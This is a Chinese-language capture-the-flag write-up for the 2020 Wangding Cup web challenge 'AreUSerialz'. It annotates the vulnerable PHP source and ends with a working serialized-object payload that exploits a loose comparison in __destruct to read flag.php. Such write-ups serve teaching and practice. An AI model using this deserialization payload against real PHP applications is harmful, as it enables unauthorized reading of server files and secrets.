2020-網鼎杯-青龍組-Web-AreUSerialz

1.題

程式碼審計，反序列化。

<?php

include("flag.php");  //包含flag.php，所以要讀這個檔案。

highlight_file(__FILE__);

class FileHandler {

   protected $op;

   protected $filename;

   protected $content;

   function __construct() {  //建構函式

        $op = "1";

        $filename = "/tmp/tmpfile";

        $content = "Hello World!";

        $this->process();   

    }
    public function process() {

        if($this->op == "1") {

            $this->write();       

        } else if($this->op == "2") { //讀，所以op == "2"

            $res = $this->read();

            $this->output($res);

        } else {

            $this->output("Bad Hacker!");

        }
    }
    private function write() {

        if(isset($this->filename) && isset($this->content)) {

            if(strlen((string)$this->content) > 100) {

                $this->output("Too long!");

                die();

            }

            $res = file_put_contents($this->filename, $this->content);

            if($res) $this->output("Successful!");

            else $this->output("Failed!");

        } else {

            $this->output("Failed!");

        }

    }

    private function read() {

        $res = "";

        if(isset($this->filename)) {

            $res = file_get_contents($this->filename);

        }

        return $res;

    }



    private function output($s) {

        echo "[Result]: <br>";

        echo $s;

    }

    function __destruct() { //解構函式,銷燬類的時候，也就是在最後執行

        if($this->op === "2") //所以 op不可以 === "2"，php的若型別，加空格，op=" 2"

            $this->op = "1";

        $this->content = "";

        $this->process();

    }
}

function is_valid($s) {

    for($i = 0; $i < strlen($s); $i++)

        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))

            return false;

    return true;

}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];

    if(is_valid($str)) {

        $obj = unserialize($str);//反序列化，所以要先 序列化。
    }
}
 

2.分析

根據上面註釋，用php程式碼執行得到序列化後的字串：

3.Payload

....:8080/?str=O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:8:"flag.php";s:7:"content";s:1:" ";}

檢視原始碼得到flag。